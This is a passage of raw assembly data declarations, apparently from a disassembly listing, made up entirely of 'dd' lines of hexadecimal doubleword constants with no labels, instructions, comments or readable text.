		dd 0AD2A8D3h, 8F0A2C5Ah, 0DEB15EBDh, 507D986Fh,	0E5CB66C5h
		dd 46BEC001h, 0F5FEB377h, 2BEF55A0h, 55A0D13h, 3B58C9A8h
		dd 27E1202Dh, 1B824131h, 5FC9A72Dh, 7593A780h, 0DC9D1D35h
		dd 0F9CA7276h, 95DDDB7Dh, 82347C66h, 0F3E4EB93h, 0AB7C4B71h
		dd 1CB238D0h, 0BA4B02D0h, 3558F289h, 70A3627Dh,	61DAE732h
		dd 5447B034h, 9CCFA0DCh, 4FD588DCh, 29E8BF00h, 26686484h
		dd 0C284475Fh, 0C65741FDh, 209E907Eh, 5076FC6Fh, 0CD13524Ah
		dd 7EAC2ECDh, 98E94274h, 0DF188955h, 0FC682F1h,	0E42CDEE7h
		dd 0C61CBCD4h, 6E4BD80h, 0E9461F40h, 74A130Eh, 0B652D028h
		dd 0E7825B87h, 0D4557F0Dh, 5ECE435h, 0A7AA74F4h, 3BEE1E53h
		dd 2B4F3309h, 0B0953EC5h, 419AC7Dh, 3C15CCBAh, 0A6788048h
		dd 0FD132B40h, 3B05D629h, 12AE05E6h, 0DBE54444h, 0CA9E5A4Ah
		dd 0FE77C1A2h, 812FF825h, 0AFE48BA8h, 7E52DA11h, 0E143C754h
		dd 0EB120E67h, 5585D4F6h, 62CA974Bh, 5A553BA5h,	6BC7FC40h
		dd 0A7024015h, 99DD2B8Ah, 4A7856BFh, 0ECCDCC9Fh, 0EF04BB3Ah
		dd 89723A57h, 0D0EB2A84h, 5044E28Fh, 0E97FE805h, 0FFFCA9B7h
		dd 3EA10CA1h, 8E8550A2h, 9EEBF861h, 76973609h, 0D04AEBF5h
		dd 0EEC2D662h, 7252677Ch, 419249DFh, 0AAAAC44Eh, 0EA4EE5E8h
		dd 88409C3Fh, 1379C88h,	0D71BADBAh, 96B4202Fh, 0E61E6082h
		dd 0B20CC764h, 66D301D0h, 16E32F5Ah, 545FDA9Ah,	0ED5BFB15h
		dd 3510C4BDh, 25AC5A47h, 611C919h, 91F7DBC5h, 781FE668h
		dd 309FC25Eh, 2A547DF1h, 2FECC14Eh, 0C1D81418h,	7B917F9Dh
		dd 1BEB303Ch, 6872BD3Ah, 81221507h, 53E410CDh, 2BE5F1C1h
		dd 0E94BDB72h, 3DA14E8Dh, 0FA96BB33h, 26646ACAh, 36208052h
		dd 554C5840h, 374B128Dh, 2AF153FCh, 0B25803CBh,	7E2D6A7Eh
		dd 0D7AF1F35h, 5973801Ch, 5124DFF6h, 38138252h,	0E05BA9B7h
		dd 567F922Ah, 6CAE5E5Fh, 3130E967h, 0D2BE68C7h,	0B1053D9Ch
		dd 97472D24h, 7D7EDF5Eh, 9AAAC34Fh, 0B10424Ch, 102BF0E9h
		dd 0D79B8E9Bh, 8B22EEE1h, 0D4861B3h, 0EF5C2E97h, 0E28DE5D1h
		dd 61BFFA80h, 0F7126D07h, 93EFDF4Bh, 96E083ECh,	0F83989CEh
		dd 2047945Fh, 1329E3D3h, 0C515E91Ah, 2DAC6542h,	45E06F8Fh
		dd 9705072Fh, 62F8B834h, 91700AAFh, 1EE14C4Bh, 0E5B9BC2Ah
		dd 0FF492105h, 5B213316h, 5601198Ch, 0A7347057h, 2E445012h
		dd 25268F87h, 670760Ch,	3E1BE6F1h, 8FF41876h, 0D4894F25h
		dd 0CBBE077Bh, 0E8C09417h, 0DA271394h, 50318AAAh, 79953376h
		dd 18722CB0h, 3062B9B9h, 0AB5F0A0Eh, 0E142EE37h, 3139752Fh
		dd 98F86AF9h, 3DC5244Bh, 34740281h, 807713B4h, 66BD558Ah
		dd 467F0071h, 536BF581h, 9007E1Eh, 772D5DE8h, 0F175F062h
		dd 5AE9568Bh, 217BD458h, 0E8C15E0Bh, 0A232E312h, 8E187F4Dh
		dd 22B434BDh, 0A46850E2h, 0E4F10668h, 821C0C2Ah, 0F77E31F9h
		dd 0B4C46C5Ah, 0A56F27AAh, 8BFE051h, 1EBD94A0h,	7528469Fh
		dd 61E0F455h, 5DEB120Eh, 0DE0A8C56h, 0C2F20852h, 22E9D506h
		dd 0FBB5A478h, 2277AF14h, 0DCB79267h, 4F064F3Fh, 8E9832F4h
		dd 0C331DF9Dh, 100B6759h, 0B15A416Bh, 36A87B81h, 4FED257Ch
		dd 7725C779h, 6998AB63h, 84B5133Eh, 58012C6Ah, 73016D68h
		dd 0F938784Fh, 62AE5A20h, 0E6D9598Ch, 280FD4Bh,	2E3364CAh
		dd 92007C90h, 891FBC1Ch, 13315EF3h, 0C578E9D3h,	483CFFDFh
		dd 5AF9B529h, 4A2820E2h, 2C30DFFDh, 0BB964F12h,	0ABA39D67h
		dd 0C911EA08h, 59DDE90Ch, 94AC412Bh, 3B576C2Bh,	35E3C580h
		dd 0AF02E38h, 0D61072h,	0C888F3B1h, 98C0FE59h, 7D7C9F01h
		dd 1059D8B8h, 9D1DA8E1h, 0E05FC9C3h, 535E2C66h,	0BF5BA7CAh
		dd 883F4529h, 0A8EC599Eh, 23A97076h, 98713051h,	7E5E1A9Fh
		dd 0EF0449CAh, 6C5D0BF3h, 0BD8B806Eh, 924702F2h, 0EF76838h
		dd 0E2E9D398h, 49FA3292h, 3D7539Fh, 136F02CDh, 68D504C5h
		dd 39EB1252h, 51C7D9BEh, 32BCE46h, 0FD1AB25Ah, 0AFE91009h
		dd 0C3722E8Bh, 0EBB1F154h, 18D7B957h, 0BD80E522h, 0EA72DCEFh
		dd 6D0BFCB0h, 77382702h, 25088128h, 454F9F94h, 8E0045C5h
		dd 3FAD726Fh, 89FD4821h, 102ED13h, 69181242h, 0DFF76E0Dh
		dd 0AF4FB55Dh, 0DF678081h, 0CBAEF845h, 0CDF3920Fh, 0DC13816h
		dd 0C0434647h, 28135AF0h, 56F858C6h, 804CB3B0h,	0F6D5F301h
		dd 64C9E9DBh, 12A10828h, 0C7B004BFh, 0F490F35h,	32AE067Fh
		dd 2CD5F493h, 51CE0917h, 7CD00D89h, 3D11B93Fh, 3342EFA5h
		dd 0C3C81A57h, 0F5AA4A4Bh, 0EC76E4B8h, 0B916109Fh, 0B60FA71h
		dd 3E1C148h, 70953A00h,	7EBD4DC6h, 4F316EBh, 0AA131DE2h
		dd 0F1408204h, 5996805h, 0F824D562h, 6C50CC59h,	624292A1h
		dd 6184FEF7h, 1ED0F80Fh
		dd 20FE2829h, 68898DDh,	49E91802h, 0F3E92440h, 0E682CB8h
		dd 5FA24F4Bh, 3B35C92Ch, 0EACD0113h, 0E989C7E2h, 89E0E25Dh
		dd 0B3E27D15h, 4B0BF8DFh, 0C216FAC6h, 27667B08h, 7F433D0h
		dd 0A017413Dh, 0C6EF58F5h, 0B7410C49h, 0C0A8F22Bh, 0CC2A9DBBh
		dd 36C09F3Ah, 0FB905057h, 0C7BD2EFEh, 1AA22553h, 25CAF12Ah
		dd 0AF49762h, 3EB5C2h, 1728E581h, 0CC12AF0h, 60EC13A2h
		dd 80455F30h, 0C00C9FB3h, 786603E3h, 13249C4Ah,	71CABB5Ah
		dd 20072017h, 3C2D4A51h, 0D92F647Bh, 451E695h, 45631DB9h
		dd 97B3FF09h, 1372D816h, 4E98FAECh, 181132C1h, 0BDF63760h
		dd 3E54C02Dh, 0EF5682B4h, 69484B8Ch, 3A279066h,	29BA12D8h
		dd 3F6934FEh, 0A130C7F3h, 940121A9h, 5108C160h,	0BBC7B19h
		dd 611D1860h, 75FF1611h, 0E808059Ah, 1FEF5EDAh,	0E6638926h
		dd 94FBE74h, 0D788098Ah, 0FFC014h, 9FE468E0h, 2B535019h
		dd 5E01C98Bh, 0E934524Ch, 46052F33h, 3482E388h,	2C983C3h
		dd 0C26DC380h, 0B8B941CBh, 0F8042A69h, 874BE72Ch, 0EEF7FCFBh
		dd 317AD6B5h, 208CE6BEh, 0E9135CD2h, 31EE4016h,	0C9DC882Eh
		dd 0C26741E6h, 0DFB024F7h, 0A913E998h, 72061A7Ch, 371A8299h
		dd 9304DDF6h, 710303C8h, 36676DEBh, 0E50C5F70h,	0DE0C8FC0h
		dd 109CF41Fh, 803DD1F5h, 0D441E1F7h, 7017208Ah,	5D7C30CAh
		dd 24C4294Ah, 7A080816h, 2F024E3h, 326C316Fh, 0FACAF240h
		dd 0D2061325h, 0CB692729h, 5600D164h, 74074E68h, 61F75E67h
		dd 0A4E904D6h, 4B7624AFh, 0D652662Dh, 188B49B4h, 40414E4Ah
		dd 0B3F36BDEh, 4F158D11h, 4FCDA983h, 0C42EB821h, 0C395FC06h
		dd 0AC4AB0B9h, 29AFE006h, 49009765h, 996795Bh, 0B0EF8102h
		dd 5FE5314Fh, 62C60CE9h, 0E950C15Ch, 442EE1B4h,	0B26480CEh
		dd 6494809h, 738259FCh,	761F016Ah, 0F7916232h, 0DA05CCD9h
		dd 0B0E0980Ah, 75522F29h, 51DCAC49h, 60FA28A6h,	3C89B904h
		dd 97D24474h, 64F115Eh,	3F22CAB6h, 3A93F329h, 25E84B1Fh
		dd 4A20C6B3h, 0BFD0B5EDh, 163F2A09h, 0D7988BEEh, 0C1579B62h
		dd 1CE9E9EBh, 70F2CB50h, 0A47B2E5Ah, 907B2744h,	70F35014h
		dd 0E942D105h, 0A5B8DD55h, 5480526Eh, 1B914D2h,	740AB0FBh
		dd 27AC58A8h, 0F1DE2911h, 0D5870820h, 0F79973Fh, 0FB5674EEh
		dd 251879D8h, 0E5C6FEDCh, 0BB0DFB30h, 24E172F1h, 2D5F62Dh
		dd 34200AA4h, 0FF57045Fh, 0FF4BE6ECh, 0A3674AD1h, 2801E4EFh
		dd 2D6B2768h, 0D3442550h, 0C051A72Fh, 6248E989h, 4946261h
		dd 0A6B8E59Fh, 0EE3BC44Eh, 928545B2h, 2753002Bh, 8980C6A9h
		dd 6A4AC87Dh, 7DBFA682h, 0AC8FFDA9h, 0A3D4F384h, 50775948h
		dd 189F618Dh, 80D94BC7h, 2FBE5A54h, 0D21290E8h,	0A34E40E8h
		dd 1468C585h, 27FCDBFAh, 0E9F35355h, 0D81338DDh, 0E1D0B9F4h
		dd 2B4C6168h, 28488BCBh, 2A676C27h, 0A530652Fh,	60B968DFh
		dd 5589ADAh, 0FD380DE3h, 0A3483105h, 0EB882B17h, 270F9052h
		dd 6D02295Bh, 67F724DBh, 0EE05124Fh, 4FEB385h, 166E411Fh
		dd 1C1F8D05h, 748EDB41h, 0F07F37D4h, 4CBF63D9h,	22C0394Bh
		dd 0D5BA2301h, 6A343A6Bh, 0C4CCD2B5h, 0F11C2CE0h, 4B8B04B8h
		dd 1435E2FFh, 1371D366h, 9CB2D9EFh, 7796953Ch, 3435AB30h
		dd 311FD2AEh, 32C4C875h, 30018178h, 0BDBE9029h,	80F32801h
		dd 0D4E8FBC3h, 96D99547h, 1749F088h, 71510B5Ah,	0E9B5C2E6h
		dd 8BBDAADBh, 217B34A5h, 9B1C6480h, 77A0BE3Eh, 4EFAB8E3h
		dd 0B9E713ABh, 10FB4EDCh, 5404C108h, 803CDB31h,	4470B189h
		dd 0C225EBB8h, 2C307DBCh, 0DEE4F387h, 8D3F735h,	0FF2D8681h
		dd 0F52BBC3Fh, 176AA6EAh, 0EA535EE9h, 35A33E8h,	0A6F28088h
		dd 24E8BDF1h, 5A5FD0DFh, 9E5112F9h, 2E7C37E9h, 19DA893h
		dd 67BB534Fh, 0C1602C34h, 0BD407CBh, 70436886h,	362DCAF3h
		dd 616A2659h, 0BEB35358h, 0B76E09E0h, 794FB9FEh, 0A22F5B95h
		dd 612D7B31h, 0F5BF310h, 1B8CF201h, 7804B92Fh, 89342D37h
		dd 324CA3AEh, 9C050C03h, 106C98Bh, 3409E470h, 51916Eh
		dd 0E53917E2h, 0B0FDFC38h, 5F0880C9h, 44A82D68h, 0E0024566h
		dd 0E9E69A1Ah, 0F7662136h, 0E281CCDAh, 0A6F4930h, 0BF2647CAh
		dd 90013BFCh, 0B5A5E96Ch, 0C9D4E92Eh, 0EAB5DC3h, 0E50B5E74h
		dd 62A774BDh, 0B40C0738h, 357D1741h, 0ED952176h, 0DB50CD0Fh
		dd 42A517C8h, 6C89C024h, 2EDB160Bh, 0D7AC44Bh, 0BC541FCh
		dd 0DE4EFD67h, 25E0FAD3h, 6E616C1h, 8CB0946h, 598C8077h
		dd 0F3315348h, 1AF29670h, 0FFE9685Eh, 0FC3CF104h, 0CABEF184h
		dd 0FD41EF04h, 0D886D3F6h, 0E0C4C0D9h, 76040506h, 0C827B8E9h
		dd 8169E55h, 0A5E8391Ch, 26E3D10h, 0CD72C7BAh, 0EFAF8146h
		dd 0FC45DB74h, 0C5F581AAh, 0E889016Ch, 6F79C6C9h, 0EFB8864Fh
		dd 7ADFEB04h, 87A2424Ah, 5D5433C1h, 7D289E16h, 5F050D52h
		dd 40984B58h, 53572768h, 0C0216598h, 0AC2AB881h, 0A9434F78h
		dd 0C468489Bh, 34FBA685h, 580C0A41h, 8E6B7099h,	9C9B7B95h
		dd 401D649Fh, 99DC6FC0h, 95DECF6h, 5F901279h, 7125E7A3h
		dd 0F657B042h, 59562DC0h, 0F9E5FA17h, 7A5E5CF4h, 0E4FF817h
		dd 0C1C7382Dh, 448102C9h, 74098BC8h, 7404655Dh,	0F9013A72h
		dd 27750810h, 8CBA194Eh, 226CFA60h, 7209B52Dh, 5A08825Fh
		dd 0AE5D37F7h, 607F6B39h, 9F525E6Fh, 0E720D05Ah, 0FDB8041Dh
		dd 0A3581422h, 202E944Ah, 1F8A9D53h, 52503A5h, 0C051D86h
		dd 1E4BD05Bh, 5A59D1C7h, 12454B64h, 0E0B6FB09h,	4E271810h
		dd 265DCAAAh, 0B6248255h, 0F1FEC544h, 0AD0CEC5Fh, 0B7489C95h
		dd 5CDEEB68h, 65A37195h, 0C09BA858h, 5A1C792Dh,	36289D45h
		dd 1E1AA608h, 0DFE1D4E9h, 0D787A25Ah, 0E02258BEh, 55820CA9h
		dd 52E24368h, 22112224h, 80A3A016h, 8C685580h, 8E988679h
		dd 97098090h, 805E475Ch, 59358EF2h, 0DD211304h,	441F85Bh
		dd 0E6EB79F5h, 90EEB882h, 9FDA8EEDh, 0A498114Eh, 3EEB9020h
		dd 93AFF828h, 8AC0C2D6h, 9DE36CE9h, 6D4520DEh, 4AACD597h
		dd 0A989A05Dh, 57E30370h, 103BE941h, 0E8A6FB84h, 55D78032h
		dd 0DB040AC2h, 5E3AB8DDh, 0F55628AAh, 2E217040h, 0E2965BDAh
		dd 5B5669E1h, 61368E1h,	5760BC4Dh, 31EA83BEh, 7E06E675h
		dd 80BC4A57h, 12C480E8h, 0C01BFE73h, 0D10A07E4h, 46203CF4h
		dd 591297F8h, 88D4C55Fh, 0F02F1763h, 1E27276Bh,	803596FFh
		dd 3049D0D4h, 76426697h, 1D0A941Eh, 9F55DA01h, 70771902h
		dd 4CEA4039h, 0A09D4A17h, 6F169BE2h, 0A343E330h, 7D4EF587h
		dd 53732D06h, 514EC064h, 0E9F092E8h, 4E91DCA8h,	618F569h
		dd 0E2045D23h, 1C78162h, 0F821BF56h, 38AF542Ch,	76383F7Ch
		dd 45426F9Ch, 119C7F6Eh, 4C65E388h, 0F4D84F83h,	7EBD533Ch
		dd 3456E37h, 0D686B85Bh, 17946B0Fh, 0FD727B91h,	1B65200h
		dd 0D3F5FCCFh, 1276F7ABh, 30A9DC42h, 94509138h,	905692C9h
		dd 549275Eh, 66843955h,	8A41B46Ch, 93C4993Ah, 0ABD00F52h
		dd 4AE25CDCh, 0B541FA27h, 0FDE95603h, 0F5E8403Eh, 55062894h
		dd 70AAFCEDh, 0FE3ED725h, 5F041783h, 9F0A7B7Fh,	3C35D2Ch
		dd 883E9E8h, 8AB44012h,	0F923E09h, 4E1D5246h, 0AD4F68Dh
		dd 70E128FCh, 96CB5658h, 20C35870h, 0FFC66109h,	4A4BF3F5h
		dd 2C5E41E9h, 4E8C008h,	402DCEB0h, 5AE5C60Bh, 0CAE24070h
		dd 444901D1h, 0BB19EEA0h, 294A5877h, 5C7826FCh,	34800A24h
		dd 0F770C91Ch, 0EC35D000h
		dd 0C1286E2Ch, 9E0762E8h, 94DF0574h, 3D39721h, 72EF4E2h
		dd 5646625Fh, 51768C5h,	29E141FFh, 7F13E9C8h, 71AA6817h
		dd 3C27A3AEh, 4AEC9288h, 0ED8B985Bh, 798B5D97h,	19C2C809h
		dd 0D0D535C2h, 0B5D69017h, 0D9202374h, 16A6C41h, 5A6F0E6Bh
		dd 9380C642h, 0A590F17Dh, 69217CB5h, 85E6D9DFh,	0BC4E8DE9h
		dd 4A20A402h, 95E22CE9h, 0DB3803CCh, 8EEA4A17h,	6C552DEEh
		dd 5C1D00D1h, 0F6814C36h, 0CA4F21B9h, 8B0077B8h, 550B5330h
		dd 512D19BDh, 909E008Ch, 206E9470h, 8F26EE31h, 5F66FB5Ah
		dd 16117A30h, 24D6E14h,	895BE935h, 5FBCD059h, 0A2EEBB85h
		dd 0CB68E0A5h, 75F1C60Ah, 0BD0C3A12h, 0AE014A89h, 77D90CEDh
		dd 8370397Bh, 45A78F1h,	6DC73BC1h, 0B33C00C0h, 293A12B0h
		dd 0D9F808EBh, 75BC622Fh, 652CCF72h, 0EF93BDA5h, 35AD7417h
		dd 6D85D30h, 0E1A00F52h, 5417C1F5h, 200B38E8h, 5A29672h
		dd 1E5E9EEAh, 0BAF80163h, 2B20601Ah, 81AA294h, 0F5142B1Ch
		dd 8994894h, 0CB6E7D25h, 0B200378Ch, 29596022h,	4A2468CAh
		dd 665CD13h, 0E976800Fh, 9602B5BCh, 467A4868h, 305D9F17h
		dd 25E95E03h, 0D928A32h, 8B59C57Dh, 0F3D30AA6h,	44E26713h
		dd 1317FD50h, 0EE0BCA38h, 1EDF1FB4h, 50689A7Ch,	0A00841EBh
		dd 0E912171Ch, 39E25667h, 137A1C6Bh, 0E65AE0FCh, 82C184ECh
		dd 0FE18F13Ah, 57253444h, 5D3BFA14h, 9F5023C9h,	603C7167h
		dd 745F9A1Fh, 2D2C6188h, 17179B5Ch, 2F412B08h, 0FA2D0D5Ch
		dd 57BB0B20h, 4A752179h, 0F0A64B2Eh, 98BFEEFh, 0FA091AA3h
		dd 0A8F8223h, 0EA292AC0h, 950DAEB9h, 3A30B38Eh,	0AA1C5A6Fh
		dd 6A5BE349h, 0F1D8D739h, 345DE970h, 5A55174Eh,	9DD5A1CCh
		dd 0E55D7C42h, 0E27F4917h, 0CBF1FF54h, 90298F66h, 0AE0A4FC2h
		dd 27E947D8h, 0B3597238h, 9A3DFA02h, 425B620Eh,	0E9080212h
		dd 0B7678CCh, 53D9CABBh, 0D102C174h, 8014D655h,	0E5AC99Fh
		dd 0FFE91B37h, 0F8B15505h, 600DA498h, 0F725D862h, 831B7E45h
		dd 1DDEF9B6h, 38BB854Ch, 5ABE0EA0h, 0CC756392h,	9BF80A0h
		dd 398E57DFh, 689CC2FCh, 2CF1369Bh, 94B75FA8h, 0E92D9602h
		dd 9B98E182h, 74CAE72h,	0FDDA0598h, 800436B9h, 0F8E4FEF9h
		dd 0C2B10951h, 0F86D9F6h, 0EB243731h, 0E023906h, 0C0FCDBDEh
		dd 2C5B770Ch, 10CD40BDh, 605E255Ch, 0F20A094Ah,	0CD87273Eh
		dd 9373D5F8h, 5B526880h, 0CA3D386Eh, 534040h, 296DBE56h
		dd 5BB2FFDh, 105E6E2h, 89E9F331h, 0A42BF9A1h, 5B1223CBh
		dd 47FE0708h, 258BE928h, 0CAE7BBFEh, 0AD2AD241h, 0E951F0CFh
		dd 0BB1F4036h, 0A8309778h, 52D13061h, 0F40A4E19h, 0F94F01FBh
		dd 2E823B39h, 0EBD38A7h, 71739B83h, 3B4030C1h, 352B4A81h
		dd 40CF1130h, 0B800B085h, 0D8F6C8FEh, 9286904h,	0C66858C2h
		dd 60886D76h, 3E362673h, 1911561Bh, 550A7C69h, 0B061CF9h
		dd 2060785Eh, 5900B146h, 477B0825h, 1605482Dh, 0FBDFEC2Ch
		dd 0EFC170C1h, 7E799FFh, 12331A7Eh, 97F8D343h, 0D0BDAD5Ch
		dd 244F0B30h, 0A87774DCh, 0E90408CEh, 0A7EFDEDDh, 5A132F71h
		dd 4BF32B14h, 774300FAh, 47BE2797h, 1D10BD4h, 5108464Dh
		dd 104CE29h, 0FDE95908h, 1790260Eh, 4BB2D3F1h, 0FD4A45DFh
		dd 849AB2FEh, 0AC0BCF10h, 959B377h, 14DE9B5h, 0C3ABAE30h
		dd 0AF04DF82h, 0C1521FFDh, 8094901Ch, 0B4557D92h, 4D602BCCh
		dd 2E610FB9h, 1C0F1798h, 0AC5AD3CEh, 6859C155h,	69492BF6h
		dd 6FC2A57Bh, 5FD9C2B0h, 683B60C5h, 7BBF0362h, 74B0E9EFh
		dd 695F9FE9h, 0DD1E6BB3h, 4CD52770h, 9D5F9F44h,	10802C2Fh
		dd 0BB53000Ah, 267E0815h, 0F7380BBAh, 3C7C3B80h, 3A8E2D02h
		dd 0D091C045h, 1207A305h, 0C512E99Fh, 0C7F7FB08h, 75C9C723h
		dd 4F9A1C16h, 74BA1827h, 0F4362B3h, 40624CFEh, 4F000953h
		dd 36EA7BC6h, 20E670BDh, 29591E31h, 0DA5D2561h,	6DE60B40h
		dd 770913E7h, 5B9D8350h, 70E9C2D1h, 0A98F2850h,	0C006E984h
		dd 37B2EEh, 9E08D6CAh, 15DAF746h, 0B2801BE9h, 969A573Bh
		dd 865EDD01h, 5E89761Eh, 0FE987721h, 46196EC7h,	8C0C2D35h
		dd 0AF615FDDh, 0E950902Fh, 6897DBA3h, 82E3F985h, 856FD375h
		dd 3013BB68h, 7FDDBDADh, 0D14FB60Ah, 0D08999EDh, 3C0F591Ch
		dd 40577712h, 216B6DF4h, 0F0C15E50h, 5612724Ah,	17FB3760h
		dd 0E0F1649Bh, 8E41B993h, 1E959E60h, 0C96FFD3Ah, 0B92429CBh
		dd 7E6CAB57h, 7475BE9h,	7293B7F8h, 65D533C2h, 0A2FB0B25h
		dd 7C9F32CEh, 1CDD0902h, 41C22D5Eh, 0BABA0461h,	6D6175E1h
		dd 94B282F0h, 4709E190h, 0E199F81Ch, 0D5C61DCBh, 55AE560h
		dd 4F592301h, 2DF0293Eh, 0B5A80744h, 1E468A0h, 866001BCh
		dd 98546A37h, 0A8024A2Eh, 78F3838h, 565D293Ah, 3136B170h
		dd 413FB062h, 6A0D2044h, 8BB13D5Dh, 5B8D5087h, 0DB16FAB8h
		dd 2D9249C6h, 0EBE0515Eh, 0BC002EA2h, 45EFBA4Dh, 823157EEh
		dd 0BF75A075h, 60029547h, 75BC0E42h, 0CC107B2h,	0BED78374h
		dd 0BE2CFF2Fh, 853D5BE9h, 5CCEEA1Ah, 9D39A94Fh,	6EA0CBD7h
		dd 0CDDF4FC7h, 98026E20h, 0F9094468h, 71258280h, 80DE63B0h
		dd 75806804h, 40E3DDD8h, 17EB6B9h, 3AA4ED38h, 8BC5BAF5h
		dd 55D5F65Ah, 7D95D382h, 66B8E093h, 4BB51338h, 51C7C87Ah
		dd 0F0F34AFDh, 673E7020h, 65EA050Eh, 9CC1F026h,	8804FA2Fh
		dd 2693D6Bh, 22965FEDh,	3DBCD8B5h, 76E416E9h, 41D4FF5Bh
		dd 879472C4h, 305FB1BBh, 55821647h, 434E56D2h, 51BB1A0h
		dd 0E9A7CE78h, 0E8981384h, 81A3E518h, 53F3800Eh, 0E14BF62Dh
		dd 6F28F9C3h, 657529A0h, 0A55D7ED2h, 701CE8B1h,	76AD12B7h
		dd 595A5CF0h, 24E9BF28h, 0A0EA42BAh, 2E3A2DB9h,	9F90209Ch
		dd 0BD16D64Bh, 0BE80FEB2h, 6F145CE1h, 58FEF0B8h, 2CAD28D2h
		dd 0FB6A9C07h, 0AC16F51h, 6AEEFCB1h, 0E94B65B3h, 5F5C9A29h
		dd 0E962A2F4h, 273D5651h, 3F84FB90h, 0C5DE65C9h, 0A5E90E6Eh
		dd 0D2E99197h, 0EF810194h, 0BF1EEB2Eh, 0F2A64FCBh, 0B356BF11h
		dd 0FCF8C13Ah, 0C131BFDDh, 12C82CCEh, 12C56568h, 42FD8EEBh
		dd 96784969h, 840565E8h, 0A93D282Eh, 10E7C02Ch,	25E96CABh
		dd 0EDEE7976h, 369A3AC4h, 2CE021CDh, 0F98120Ch,	1E43FA5Bh
		dd 8B47B8CBh, 8E3C83Bh,	4ADB72F7h, 0E5B7C0D3h, 2B13A48Bh
		dd 0E3573BE9h, 17B188FAh, 87C6914Ch, 4EA57C9Eh,	87D4BAh
		dd 22B85008h, 784EA65Ch, 660A2ACh, 0DCE94004h, 28ED859Fh
		dd 86480091h, 36715203h, 43311E17h, 253341AEh, 30DA3F1Ch
		dd 931663C6h, 17AE33BEh, 1A78531h, 2560E0A3h, 0DDE86A59h
		dd 27E90840h, 899489CCh, 0B14C909h, 7CBD82B2h, 8B7975B4h
		dd 7760F600h, 2768163Eh, 5E9845EBh, 9A1F384Eh, 0C092E9ECh
		dd 0F04F2DF6h, 0FE482E94h, 31609F3Eh, 0B2440B9Bh, 7B02DDAEh
		dd 0D129D705h, 2BFDEC64h, 81E9DF04h, 0C31BE57h,	35A5D2F3h
		dd 0EA1382FCh, 0E0B784AEh, 870831E8h, 0B0FA0143h, 5E30E911h
		dd 0CBEA48D6h, 0C82D4B64h, 3D9C3901h, 7CE43AA5h, 95BB294Bh
		dd 0A798275h, 5AC50509h, 91F6CF86h, 3595C805h, 0A08AEC0Bh
		dd 1291BE56h, 268A76Ch,	57E946CDh, 4A180356h, 253B95DCh
		dd 42D7C5E6h, 44C55F24h, 12EE70ADh, 333262h, 0D51C1920h
		dd 504483Ah, 1A5A38A1h,	5F7F1DF8h, 586EF251h, 13AA5F6Ah
		dd 16C008C9h, 9448F25h,	80A3C29Dh, 61623627h, 0DE893E44h
		dd 0D7BC5FF5h, 0ECA67526h
		dd 5A54173Eh, 313DEFh, 857142CBh, 0C2D35A54h, 0CCFD08A2h
		dd 1116B769h, 8B85AB5Ah, 0A4EAB2FEh, 0ECED0DA5h, 0D8890F05h
		dd 4027F70Bh, 51625080h, 0EEE4FD88h, 0E1319190h, 0CB3560D6h
		dd 34F4E4DCh, 0AE968150h, 0E15D4593h, 883EBDAFh, 8401849h
		dd 1EA1E83h, 204E8281h,	73E04A90h, 25057EBDh, 1DE92652h
		dd 0B92F67FCh, 29907076h, 0A251B627h, 45C9DD4Bh, 40BC7FBEh
		dd 5DC30502h, 0C0EA2D4Bh, 915E0704h, 2EED6836h,	8AFA3A85h
		dd 6FBD92CBh, 68F80102h, 2C628AFh, 3025779h, 5F5E6C67h
		dd 310684B9h, 56681FAh,	77532ED0h, 0BBD584FAh, 0FC2BFA89h
		dd 0ACF2A777h, 50D95DF1h, 417E72CDh, 14176954h,	9F9A6042h
		dd 688E8182h, 303E2D6Ah, 0FED59A4Ah, 318C9C97h,	331CCD5Eh
		dd 4BA22B1Ch, 0FEC778C2h, 0C73CE07h, 280E00CBh,	4582CC8h
		dd 511E664Ch, 0F8A72FB5h, 18681459h, 0B1C29161h, 0ADE080C6h
		dd 3BDD6004h, 0D6E4142Dh, 16CAFE3Ch, 56B3530Bh,	0EB09EDDEh
		dd 0A1C60243h, 2C147502h, 5916BB78h, 492160A5h,	76F411EBh
		dd 7DE9102Fh, 685105B3h, 9163475Ch, 0BB1D029Bh,	16322A8Ch
		dd 9A31E675h, 0C0E9177Eh, 0F8D3D714h, 0C0B751ADh, 61CB0AD6h
		dd 683FE925h, 0BC0C24Ah, 31131F25h, 0FEC14025h,	0B407F5B1h
		dd 34D2C6D9h, 0FB38C6BCh, 0C8C2D15Ch, 7EA00372h, 8957006Bh
		dd 0D7B8E9F7h, 7C40ABB7h, 0C1845A5Ch, 8987B868h, 6A297553h
		dd 0F449535Ch, 0C588D0FCh, 6C795873h, 0E3B9015Fh, 2644BAB4h
		dd 53E20B65h, 16D82578h, 0D91E3857h, 16479710h,	68A43418h
		dd 883718F1h, 45E32008h, 5FFE330Ah, 2902EA4Bh, 0E00C2501h
		dd 51F3639h, 0B2E97C66h, 2DE1E391h, 0C0010BA4h,	0F401C5A8h
		dd 41CF4E14h, 303D4F39h, 52E16FFEh, 0AFE506AFh,	0AD30DD4Bh
		dd 2FE050EDh, 0DD29541Ah, 0E9080128h, 0F82E650Bh, 0BA52A11Bh
		dd 9F550DDCh, 97E3DFD8h, 0BB90290Dh, 61036394h,	10D6505Ch
		dd 5B473420h, 17EDC204h, 59B454E9h, 35E10BC9h, 4751229h
		dd 9310FEA6h, 39D6E300h, 8F68033Eh, 9D30154Bh, 16E02A45h
		dd 568AE920h, 6A2CEE12h, 0FB05B855h, 0F9F75202h, 685C70D3h
		dd 4A1B5038h, 0B88464BEh, 73AE115Eh, 0AB72F45Fh, 604A022Dh
		dd 3EFD598Ah, 5B3BA1B5h, 0C956BE4Ah, 823E61EFh,	0E1B0017Ah
		dd 9FE852DCh, 57A536FEh, 38686B22h, 0E57CC8DFh,	6EBF8083h
		dd 11410D16h, 4B0174C5h, 49BA4B48h, 13D612A5h, 0F64FE007h
		dd 0C889632Bh, 9875DBC7h, 0FD31044Dh, 0FA053EE9h, 0AB6040B5h
		dd 0C453421h, 0A2E1FB0Ch, 56296247h, 3622A29h, 5550EC2h
		dd 0A2F19693h, 2ACA4D33h, 96C4E1EDh, 41168193h,	10FC40Ch
		dd 0C8C1D354h, 7E5F2509h, 0BE085F29h, 3CD62508h, 8CE91476h
		dd 8816FDC4h, 0B116BED9h, 686260BAh, 0E39B12C1h, 7FB41000h
		dd 73AFEC80h, 0CDFE2686h, 0D2C3179Dh, 0AC40050Eh, 0E1485A58h
		dd 2F22101Fh, 599E253Bh, 354887ADh, 0C13C6F50h,	21E9C229h
		dd 84353B9Ah, 500B1A82h, 5868125Ch, 0DCB8CC72h,	6090175Fh
